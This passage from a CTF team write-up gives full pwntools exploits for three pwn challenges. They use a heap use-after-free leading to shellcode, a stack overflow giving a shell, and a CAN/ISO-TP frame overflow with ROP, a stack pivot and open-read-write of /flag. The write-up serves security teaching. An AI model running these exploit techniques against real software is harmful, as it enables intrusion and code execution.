orw_rop += p64(rdi) + p64(1) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100)*m + p64(libc.sym['write'])
orw_rop += b'/flag'.ljust(0x10,b'\x00')

edit(0,0x100,orw_rop)

#ru('select: ')
#sl('1')
#ru('rs): ')
#sl(pwd)

#edit(0,0xFFF00000078,'hack')

#
#ru(b'select: ')
#sl('1')
#ru(b'Please enter old password for verification: ')
#sl(pwd)

#add(0x10FFFFFF8)
#edit(4,0x2FFFFFFFF,'hah')

#rm(0)
#add(0x7fffffff)
#edit(0,0xffffffff,y=0)
#rm(1)
#dit(1,0x58,b'B'*0x58)
#pay = flat({
#},filler=b'\x00')

# libc.address = libc_base
# system = libc.sym['system']
# bin_sh = next(libc.search(b'/bin/sh'))
itr()
p.interactive()

aaaheap

ARM aarch64 架构下的一个 glibc 堆体题目,UAF 漏洞, heap list 也在 heap 上,UAF 构造任意地址申请到heaplist后既可以任意地址读写,后面把 shellcode写到 heap上 然后修改 stack 上的返回地址, ret2shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
from pwn import *
#from ctypes import CDLL
#cdl = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
s = lambda x : io.send(x)
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sla = lambda x,y : io.sendlineafter(x,y)
r = lambda x : io.recv(x)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
itr = lambda : io.interactive()
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
ls = lambda x : log.success(x)
lss = lambda x : ls('\033[1;31;40m%s -> 0x%x \033[0m' % (x, eval(x)))

attack = '1.1.11 123'.replace(' ',':')
binary = './vuln'

cmd = 'qemu-aarch64-static -L ./lib/ ./vuln'
#cmd = 'qemu-aarch64-static -g 1234 -L ./lib/ ./vuln'

context(binary=binary, log_level = 'debug')
io = process(cmd.split(' '))
#io = remote("pwn-e45167b3ab.challenge.xctf.org.cn", 9999, ssl=True)
io = remote("pwn-7ad75533cf.challenge.xctf.org.cn", 9999, ssl=True)

n = 0
def add(idx,size):
global n
ru(b'Choice: ')
sl('1')
ru(b'Index : ')
sl(str(idx))
ru(b'Size: ')
sl(str(size))
n += 1

def rm(idx):
global n
ru(b'Choice: ')
sl('2')
ru(b'Index: ')
sl(str(idx))
n += 1

def edit(idx,text):
global n
ru(b'Choice: ')
sl('3')
ru(b'Index: ')
sl(str(idx))
ru('data: ')
s(text)
n += 1

def show(idx):
global n
ru(b'Choice: ')
sl('4')
ru(b'Index: ')
sl(str(idx))
n += 1

add(0,0x78)
add(1,0x78)
rm(0)
show(0)
ru('Data: ')
key = uu64(r(6))
heap_base = key << 0xC

lss('key')
lss('heap_base')

libc = ELF('./lib/lib/libc.so.6')

rm(1)

edit(1,p64((heap_base-0x90) ^ key))

add(2,0x78)
add(3,0x78)
pay = p64(heap_base-0xF0)
edit(3,pay)
show(0)
ru('Data: ')
elf_base = uu64(r(8)) - 0x2688
lss('elf_base')

t2 = elf_base + 0x15F28

pay = p64(t2)
edit(3,pay)
show(0)
ru('Data: ')
libc_base = uu64(r(8)) - libc.sym['read']
lss('libc_base')
libc.address = libc_base

t3 = libc.sym['environ']
pay = p64(t3)
edit(3,pay)
show(0)
ru('Data: ')
stack = uu64(r(8))
lss('stack')

t4 = heap_base - 0x150
t4 = stack - 0x218
pay = p64(t4)+p64(0x100)
edit(3,pay)

add(4,0x78)
edit(4,asm(shellcraft.sh()))

ru(':')
sl('7')

pay = p64(0)
pay += p64(heap_base+0x1c0)
edit(0,pay)

#target = heap_base + 0x1c0
#add(4,0x80)
#pay = p64(target+8)
#pay += b'/bin/sh\x00'
#pay += b'/bin/sh\x00'
#pay += b'/bin/sh\x00'
#pay += p64(target+8)
#pay += p64(libc.sym['system'])
#edit(4,pay)

##pay = b''
##pay += p64(target)
##pay += asm(shellcraft.sh())
##edit(0,pay)
##print(n)
##pause()

#add(4,0x78)
#add(5,0x78)
#rm(4)
#rm(5)
#edit

#rm(0)
#rm(1)
#show(0)
#ru('Data: ')
#key = uu64(r(6))
#heap_base = key << 0xC
#lss('heap_base')

itr()

babystack

程序逻辑如下,可以通过第二次输入将n180097847覆盖,然后直接getshell

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
from ctypes import *

context(arch='amd64', log_level = 'debug',os = 'linux')
file='./babystack'
elf=ELF(file)

#
choice = 0x001
if choice:
p = remote("pwn-11b07bf3af.challenge.xctf.org.cn", 9999, ssl=True)
else:
p = process(file)


s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,gdbscript=cmd)

sa('Enter your flag1:',b'a'*0x18)
debug()

sa('Enter your flag2:',b'a'*(0x108-0x10) + p64(0x1337abc))

itr()

车联网

Can

沙箱

1
2
3
4
5
6
7
8
9
10
11
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

大概分析一下逻辑,先是一个密码

img

然后可以输入指令,但这上面这几个指令都没什么用。主要是下面的逻辑,我们可以发送3种类型的 ISO-TP 帧

  • SF - 单帧
  • FF - 首帧
    • 输入1#10xxxx
  • CF - 连续帧
    • 连续输入 1#21...1#22...1#23... 到了f就再回到1

大概尝试了一下,可以利用处理 CF 帧的这个 if 判断来泄露 pie

img

没细看处理的逻辑,但大概尝试了一下

1
2
3
4
5
6
7
sla('Enter magic number:\n','12803159')
sla('>','1#1020414141414141')
sla('>','1#2142424242424242')
sla('>','1#2243434343434343')
sla('>','1#2344444444444444')
sla('>','1#2445454545454545')
sla('>','1#2445454545454545')

就能执行到这个else分支,应该是输入的 CF 帧不合法导致的

值得注意的是这个函数

img

memcpy没有对长度进行判断,当满足条件的时候就会执行下面这个 p_sub_16E0, 存放在 buf_ + 0x100 的位置

img

可以先发送一个 FF 帧,例如:发送 1#1008..., 发这个帧是为了设定 ::n 的大小 , 由1#1后面的三个数字来决定,这个例子中 ::n 会被设定为 8。

泄露出 pie_base 之后需要重新设置 FF 帧,把ret写到开头,接着就利用 CF 帧的memcpy布置rop链来泄露libc。这里rop链的结构是

1
2
3
4
5
6
7
8
ret
puts(fgets_got)
pop_rbp_ret
bss_addr
.text:000000000000130F mov rdx, cs:stdin ; stream
.text:0000000000001316 mov esi, 200h ; n
.text:000000000000131B mov rdi, rbp ; s
.text:000000000000131E call _fgets

然后我们把 p_sub_16E0 覆盖成这个gadget push rdi ; pop rsp ; ret。因为执行 p_sub_16E0 之前寄存器的状态是这样的

img

用这个gadget就能把栈迁移到bss段上,最后通过fgets的溢出来布置orw的rop链即可

大概泄露了一下远程的libc

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
from pwn import *
from ctypes import *
import struct

context(arch='amd64', log_level = 'debug',os = 'linux')
file='./pwn'
elf=ELF(file)
libc = ELF('./libc6_2.39-0ubuntu8.6_amd64.so')
#
choice = 0x001
if choice:
p = remote("pwn-13470b3c3e.challenge.xctf.org.cn", 9999, ssl=True)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,gdbscript=cmd)

commend = '''
b *$rebase(0x0000000000001A6B)
b *$rebase(0x000000000000131E)
b _IO_getline
'''

sla('Enter magic number:\n','12803159')
sla('>','1#11ff414141414141')
sla('>','1#2445454545454545')

ru(' handler=')
pie_base = int(rl()[:-1],16) - 0x00000000000018C0
elf.address = pie_base
leak('pie_base')

ret = pie_base + 0x000000000000101a
ret_b = struct.pack('<Q', ret)

rdi = pie_base + 0x0000000000001557
rdi_b = struct.pack('<Q', rdi)

puts_got = elf.got.puts
puts_b = struct.pack('<Q', puts_got)

fgets_got = elf.got.fgets
fgets_b = struct.pack('<Q', fgets_got)

puts_plt = elf.plt.puts
puts_p = struct.pack('<Q', puts_plt)

set_puts = pie_base + 0x0000000000016F0
set_b = struct.pack('<Q', set_puts)

pop_rbp = pie_base + 0x0000000000001693
pop_rbp = struct.pack('<Q', pop_rbp)

main = pie_base + 0x000000000000130F
main_b = struct.pack('<Q', main)

input_addr = pie_base + 0x6088
input_addr = struct.pack('<Q', input_addr)

sla('>','1#10ff' + ret_b.hex()[:-4])
sla('>','1#21' +'00'*2 + rdi_b.hex()[:-6])
sla('>','1#22' + rdi_b.hex()[10:-4] + '00'*2 + fgets_b.hex()[:-8])
sla('>','1#23' + fgets_b.hex()[8:-4] + '00'*2 + puts_p.hex()[:-10])
sla('>','1#24' + puts_b.hex()[6:-4] + '00'*2 + pop_rbp.hex()[:-12])
sla('>','1#25' + pop_rbp.hex()[4:-4] + '00'*2 + input_addr.hex()[:-14])
sla('>','1#26' + input_addr.hex()[2:-4] + '00'*2)
sla('>','1#27' + main_b.hex()[:-4] + '00')

sla('>','1#28' + '00' + '454545454545')
sla('>','1#2945454545454545')

sla('>','1#2a45454545454545')
sla('>','1#2b45454545454545')
sla('>','1#2c45454545454545')
sla('>','1#2d45454545454545')
sla('>','1#2e45454545454545')
sla('>','1#2f45454545454545')

sla('>','1#2146464646464646')
sla('>','1#2246464646464646')
sla('>','1#2346464646464646')
sla('>','1#2446464646464646')
sla('>','1#2546464646464646')
sla('>','1#2646464646464646')
sla('>','1#2746464646464646')
sla('>','1#2846464646464646')
sla('>','1#2946464646464646')
sla('>','1#2a46464646464646')
sla('>','1#2b46464646464646')
sla('>','1#2c46464646464646')
sla('>','1#2d46464646464646')
sla('>','1#2e46464646464646')
sla('>','1#2f46464646464646')

sla('>','1#2147474747474747')
sla('>','1#2247474747474747')
sla('>','1#2347474747474747')
sla('>','1#2447474747474747')
sla('>','1#2547474747474747')
sla('>','1#264747474747')

gad = pie_base + 0x00000000000012d3 # push rdi ; pop rsp ; ret
gadge = struct.pack('<Q', gad)

# 后续是 p__puts_w

# debug(commend)
sla('>','1#27' + gadge.hex()[:-4])
fgets_addr = uu64(rl()[1:-1])

libc_base = fgets_addr - libc.sym['fgets']
libc.address = libc_base
leak('libc_base')

pause()
o = libc.sym['open']
r = libc.sym['read']
w = libc.sym['write']

rsi = pie_base + 0x0000000000001555
ret = pie_base + 0x000000000000101a
rbx = libc_os(0x00000000000586e4) # pop rbx ; ret
rdx = libc_os(0x00000000000b0133) # mov rdx, rbx ; pop rbx ; pop r12 ; pop rbp ; ret

payload = p64(ret) *2
payload += flat(
rdi,pie_base + 0x6188,rsi,0,0,o,
rdi,3,rsi,pie_base + 0x6288,0,rbx,0x100,rdx,0,0,0,r,
rdi,1,rsi,pie_base + 0x6288,0,rbx,0x100,rdx,0,0,0,w
)
payload += b'/flag\x00\x00\x00'
payload = payload.ljust(0x200,b'a')
sl(payload)

itr()

第八届“强网”拟态防御国际精英挑战赛 SU Writeup

https://team-su.github.io/posts/29a7c1c3.html

Author

SUers

Posted on

2025-10-27

Updated on

2025-10-28

Licensed under